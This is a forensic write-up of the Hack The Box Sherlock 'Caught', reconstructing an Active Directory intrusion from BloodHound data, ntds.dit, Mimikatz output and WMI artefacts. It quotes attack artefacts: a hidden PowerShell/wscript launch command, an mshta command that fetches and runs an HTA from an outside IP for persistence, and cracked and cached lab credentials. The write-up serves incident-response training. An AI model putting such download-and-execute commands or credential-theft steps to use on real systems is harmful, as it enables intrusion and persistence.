HTB Sherlock: Caught

Initial Triage

The challenge provides two folders: kali and DC01.

The name DC01 suggests that it contains data from a domain controller, while kali likely contains data from the attacker’s machine.

Inside the kali folder, there are three folders: exploit, loot, and recon.

The exploit folder contains numerous files, including mimikatz, several .bin and .exe files, and a .js file.

The loot folder contains the Mimikatz output.

The recon folder contains an nmap scan and BloodHound data.

After loading the BloodHound data, I could see the domain structure and relationships.

Task 1

What's the full name of the former employee?

Using BloodHound’s search function, I searched for all users in the domain.

There were many users to sift through, so I switched to jq to parse the users.json file in the recon folder and searched for the phrase former.

strings 20241106090408_users.json | jq . | grep -C 30 -i "former"
      "SPNTargets": [],
      "HasSIDHistory": [],
      "IsDeleted": false,
      "IsACLProtected": false
    },
    {
      "AllowedToDelegate": [],
      "ObjectIdentifier": "S-1-5-21-3335886548-1976288829-1586005320-1630",
      "PrimaryGroupSID": "S-1-5-21-3335886548-1976288829-1586005320-513",
      "Properties": {
        "name": "CBALL@MEGACORP.LOCAL",
        "domain": "MEGACORP.LOCAL",
        "domainsid": "S-1-5-21-3335886548-1976288829-1586005320",
        "distinguishedname": "CN=CONNOR BALL,CN=USERS,DC=MEGACORP,DC=LOCAL",
        "unconstraineddelegation": false,
        "trustedtoauth": false,
        "passwordnotreqd": false,
        "enabled": true,
        "lastlogon": 0,
        "lastlogontimestamp": -1,
        "pwdlastset": 1730707416,
        "dontreqpreauth": false,
        "pwdneverexpires": false,
        "sensitive": false,
        "serviceprincipalnames": [],
        "hasspn": false,
        "displayname": null,
        "email": null,
        "title": null,
        "homedirectory": null,
        "description": "Former employee – account pending removal.",
        "userpassword": null,
        "admincount": false,
        "sidhistory": [],
        "whencreated": 1730476013,
        "unixpassword": null,
        "unicodepassword": null,
        "logonscript": null,
        "samaccountname": "cball",
        "sfupassword": null
      },
      "Aces": [
        {
          "RightName": "Owns",
          "IsInherited": false,
          "PrincipalSID": "S-1-5-21-3335886548-1976288829-1586005320-512",
          "PrincipalType": "Group"
        },
        {
          "RightName": "GenericAll",
          "IsInherited": false,
          "PrincipalSID": "S-1-5-21-3335886548-1976288829-1586005320-512",
          "PrincipalType": "Group"
        },
        {
          "RightName": "GenericAll",
          "IsInherited": false,
          "PrincipalSID": "MEGACORP.LOCAL-S-1-5-32-548",
          "PrincipalType": "Group"
        },

The user with the description Former employee - account pending removal is CBALL.

The answer is Connor Ball.

Task 2

What was the former employee's password?

To check CBALL’s password, I analyzed the ntds.dit file from the DC01 folder. This file contains the Active Directory database, including user account information and password hashes.

I used TrustedSec’s DIT Explorer here to open the ntds.dit file and search for CBALL.

However, the tool required the SYSTEM hive to decrypt the password hashes. More precisely, it needed the BootKey, which is used to encrypt the password hashes in ntds.dit. To obtain the BootKey, I used the SYSTEM hive from the DC01 folder with DSInternals.

PS \Downloads\HTb\Caught\DC01\C\Windows\System32\config> Get-BootKey SYSTEM
f8e550a5415610ec551a19ca71fc902a

After extracting the hashes, I used Hashcat to crack the password hash.

└─$ hashcat -m 5600 credentials.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
 
OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-Intel(R) Core(TM) i7-14700, 2866/5733 MB (1024 MB allocatable), 28MCU
 
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
 
Failed to parse hashes using the 'pwdump' format.
No hashes loaded.
 
Started: Mon May 11 17:03:50 2026
Stopped: Mon May 11 17:03:51 2026
 
┌──(linux㉿<REDACTED>)-[<REDACTED>]
└─$ hashcat -m 1000 credentials.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
 
OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-Intel(R) Core(TM) i7-14700, 2866/5733 MB (1024 MB allocatable), 28MCU
 
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
 
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
 
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
 
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
 
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
 
Host memory allocated for this attack: 519 MB (4696 MB free)
 
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
 
384799705d277ba2818dd3ab196a3581:falloutboy
 
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 384799705d277ba2818dd3ab196a3581
Time.Started.....: Mon May 11 17:04:37 2026 (0 secs)
Time.Estimated...: Mon May 11 17:04:37 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   796.8 kH/s (0.73ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 28672/14344385 (0.20%)
Rejected.........: 0/28672 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> spongebob9
 
Started: Mon May 11 17:04:22 2026
Stopped: Mon May 11 17:04:38 2026

The answer is falloutboy.

Task 3

How many TCP ports were opened on DC01?

The nmap scan in the recon folder provides this information.

The answer is 19.

Task 4

What share was accessible?

The _full_tcp_nmap.txt file shows that this is a domain controller, with port 53 (DNS) and port 88 (Kerberos) open.

Port 445 (SMB) is also open, which is used for file sharing. I checked the tcp445 folder to see whether any shares were accessible.

The answer is Office Share.

Task 5

The attacker tricked a user into opening a malicious file. What command did the victim unwittingly execute?

Returning to the kali folder, the exploit folder contains a .js file, which is likely part of the malicious payload chain. There is also a shortcut file named MegaCorp_PayrollAdjustment_Notice.docx. A shortcut masquerading as a document is a common tactic used to trick victims into executing malicious code.

The answer is C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -Nop -sta -noni -w hidden wscript.exe MegaCorpServiceWorker.js.

Task 6

What is the decryption key for the payload?

Now that I know which command was executed, I analyzed MegaCorpServiceWorker.js to find the payload decryption key.

The JavaScript was obfuscated, so I used webcrack to deobfuscate it.

PS Downloads\HTb\Caught\kali\exploit> webcrack .\MegaCorpServiceWorker.js > deobfuscated.js
  webcrack:transforms prepare: started +0ms
  webcrack:transforms prepare: finished with 2 changes +5ms
  webcrack:transforms deobfuscate: started +0ms
  webcrack:deobfuscate String Array: no +0ms
  webcrack:transforms deobfuscate: finished with 0 changes +4ms
  webcrack:transforms transpile, unminify: started +1ms
  webcrack:transforms transpile, unminify: finished with 30 changes +4ms
  webcrack:transforms self-defending, debug-protection, jsx, jsx-new: started +0ms
  webcrack:transforms self-defending, debug-protection, jsx, jsx-new: finished with 0 changes +2ms
  webcrack:transforms merge-object-assignments, evaluate-globals: started +0ms
  webcrack:transforms merge-object-assignments, evaluate-globals: finished with 0 changes +2ms

The answer is wdnpmsiaev.

Task 7

Which class was used for loading the final shellcode?

In the deobfuscated JavaScript file, a large base64-encoded blob is decoded and executed.

Decoding the base64 string and RC4 reveals the second-stage payload.

In the decoded payload, I found a line containing var entry_class, which identifies the class used to load the final shellcode.

The answer is SharpShooter.

Task 8

What was the C2 used?

The stage2.js flow is shown below.

To extract the embedded DLL, I used this script:

import re, base64, sys
from pathlib import Path
 
js = Path(sys.argv[1] if len(sys.argv) > 1 else 'stage2.js').read_text(errors='replace')
b = re.search(r'var\s+serialized_obj\s*=\s*(.*?);\s*var\s+entry_class', js, re.S).group(1)
raw = base64.b64decode(''.join(re.findall(r'"([A-Za-z0-9+/=]+)"', b)))
Path(sys.argv[2] if len(sys.argv) > 2 else 'SharpShooterAssembly_extracted.dll').write_bytes(raw[raw.find(b'MZ'):raw.find(b'MZ') + 10752])

To extract the payload, I used this script:

#!/usr/bin/env python3
import re, base64, sys
from pathlib import Path
 
js = Path(sys.argv[1] if len(sys.argv) > 1 else 'stage2.js').read_text(errors='replace')
sc = re.search(r'var\s+sc\s*=\s*"([^"]*)";', js, re.S).group(1)
Path(sys.argv[2] if len(sys.argv) > 2 else 'stage2_payload_shellcode.bin').write_bytes(base64.b64decode(sc))

Alternatively, the CAPABLE_TABLETOP.bin file in the exploit folder contains the extracted payload shellcode.

I uploaded the extracted .bin file to VirusTotal to identify the framework used by the payload.

The answer is Sliver.

Task 9

The attacker used a well-known tool to escalate their privileges. Which Windows privilege does this tool exploit?

The exploit folder also contains PrintSpoofer64.exe (GitHub: PrintSpoofer), a well-known privilege escalation tool that abuses SeImpersonatePrivilege.

The answer is SeImpersonatePrivilege.

Task 10

What are the arguments used to gain full NT Authority System?

The PrintSpoofer64.exe GitHub page shows the tool’s usage below.

The MegaCorpSync.bin file in the exploit folder is also a payload used in the attack. I checked it with strings to extract the arguments used by the attacker.

The answer is -c c:\windows\tasks\MegaCorpSync.exe.

Task 11

What is the name of the Git repository the attacker used to generate MegaCorpSync.exe?

From the previous task, I know that the attacker used PrintSpoofer to execute the MegaCorpSync.exe payload.

Using Detect It Easy to analyze MegaCorpSync.exe, I could see that it is a .NET assembly.

There is also a PDB file link, which points to a debugging file that can contain information about the executable’s source code. The information I needed might be in the PDB path.

The PDB path contains the name of the Git repository used to generate MegaCorpSync.exe.

The answer is OSEP-Code-Snippets.

Task 12

What is the host name of the workstation that has been compromised?

Because Mimikatz was run and its output is stored in the loot folder, I checked the output to identify the compromised workstation’s hostname.

Many repeated entries refer to:

User Name : WS01$
Domain    : MEGACORP

The $ indicates that this is a computer account, not a normal user account. WS01$ is the domain machine account for the workstation.

The answer is WS01.

Task 13

What was the SAM Account Name of the user that was compromised?

The Mimikatz output also contains an entry for the compromised user account.

The sekurlsa::logonpasswords command in Mimikatz shows logon sessions and credentials for logged-on users. In the output, there is an entry for a user with the SAM account name osmith.

The answer is osmith.

Task 14

What were the plaintext user's credentials that were cached on the compromised workstation?

As before, the sekurlsa::logonpasswords command in Mimikatz can show plaintext credentials for logged-on users if those credentials are cached on the workstation.

The answer is mtucker:LUmRfx9h22jhpEj.

Task 15

To which group did the previous user initially belong?

I used BloodHound to map the group memberships of the user mtucker.

mtucker is a member of two groups: Domain Users and Developers. Domain Users is the default group for all domain users, while Developers is the meaningful group that indicates the user’s role in the organization.

The answer is Developers.

Task 16

Which privilege enabled the attacker to pivot to another group? (Format: AD object,privilege,AD object - AD objects must be inserted without the @domain)

The Developers group is a member of the Remote Management Users group, so the attacker also inherited the privileges of Remote Management Users. I checked the privileges of the Remote Management Users group in BloodHound.

The Remote Management Users group had no useful Outbound Object Control, so it was not the pivot point that allowed the attacker to move to another group.

The Developers group had GenericAll rights over the Engineers group, meaning the attacker could modify the Engineers group and add their user to it, allowing them to pivot to another group.

The answer is Developers,GenericAll,Engineers.

Task 17

To which groups does the previous user currently belong? (Sort them alphabetically and separate them with a comma)

As in the previous task, I first checked the current group memberships of mtucker in BloodHound. The result looked similar to the previous state, but with the Engineers group added. However, that answer was still incorrect.

I remembered that BloodHound data came from the recon phase, so anything the attacker did after that phase would not be reflected in BloodHound. Therefore, I checked the ntds.dit file again to identify the user’s current group memberships.

I opened the ntds.dit file again with DIT Explorer.

The answer is Administrators,Developers,Engineers.

Task 18

Which privilege enabled the attacker to gain Local Admin? (Format: AD object,privilege,AD object - AD objects must be inserted without the @domain)

I used BloodHound’s pathfinding function to identify the possible lateral movement path used by the attacker.

The Engineers group has GenericWrite over the MEGAPOLICY GPO. This means the attacker could modify MEGAPOLICY and add a scheduled task to execute a payload with SYSTEM privileges, allowing them to gain local admin access on the machine.

The answer is Engineers,GenericWrite,MEGAPOLICY.

Task 19

What is the full path of the tool that was used to gain Local Admin?

From the previous task, I know that the attacker modified the MEGAPOLICY GPO to add a scheduled task that executed a payload with SYSTEM privileges, allowing them to gain local admin access.

The SYSVOL folder was not included in the acquisition, so I checked folders such as Windows\Tasks to look for possible payloads used in the attack. However, that folder was also not included in the acquisition, so I checked the $MFT$ file to find information about files in that location.

A file named SharpGPOAbuse.exe appeared in the folder.

The answer is C:\Windows\Tasks\SharpGPOAbuse.exe.

Task 20

What is the full name of the new user added?

I used the ntds.dit file again to identify the new user that was added. DSInternals can extract user information from ntds.dit.

PS E:\HTB\Sherlock\Caught\DC01\Active Directory> Get-ADDBAccount -All -DatabasePath .\ntds.dit -BootKey "f8e550a5415610ec551a19ca71fc902a" | select SamAccountName,DistinguishedName,PasswordLastSet

A suspicious user named rooi has a PasswordLastSet value of 11/6/2024 9:11:17 PM, which differs from other users except for cball, the former employee account. This indicates that rooi was likely created after the attack began and is probably the new user added by the attacker.

I checked BloodHound to see whether a user named rooi existed. Since the BloodHound data came from the recon phase, the new user would not be reflected there.

The user rooi does not appear in the BloodHound data, confirming that it was likely created after the recon phase.

The answer is Robbin Ooi.

Task 21

What was the name of the object set for persistence?

I checked the registry hives for evidence of a persistence mechanism. The SOFTWARE hive was the most likely place to find this information, but I did not find anything useful there. I then used Hayabusa to parse the logs and look for anomalies that might indicate persistence.

There were not many logs to analyze because the attacker deleted most of them, but there were some events related to WMI Provider Started. I then checked the WMI namespaces for anomalies.

At this point, I could either replace my local WMI repository with the one from the acquisition and inspect it with WMI Explorer, or use custom scripts to parse the WMI repository file. I chose the latter because it is more flexible and makes it easier to search for keywords that might indicate persistence.

The script I used to parse the WMI repository is from my mentor @teebow1e, and it is available here.

I loaded the WMI repository file and used the Diff vs Local function to find differences between the acquired WMI repository and my local WMI repository.

The root\CIMV2\RegistryBackup namespace is not present in my local WMI repository and appears suspicious.

The namespace contains a base64 string that decodes into the following command.

The answer is RegistryBackup.

Task 22

What was the payload set for persistence?

cmd /c 'mshta http://45.123.76.89/MEGACORP_DataSync.hta'

The decoded base64 string from the previous task is a command that downloads and executes a file named MEGACORP_DataSync.hta from the attacker’s server. It uses mshta, a legitimate Windows utility that can execute HTA files and is commonly abused by attackers.

The answer is cmd /c 'mshta http://45.123.76.89/MEGACORP_DataSync.hta'.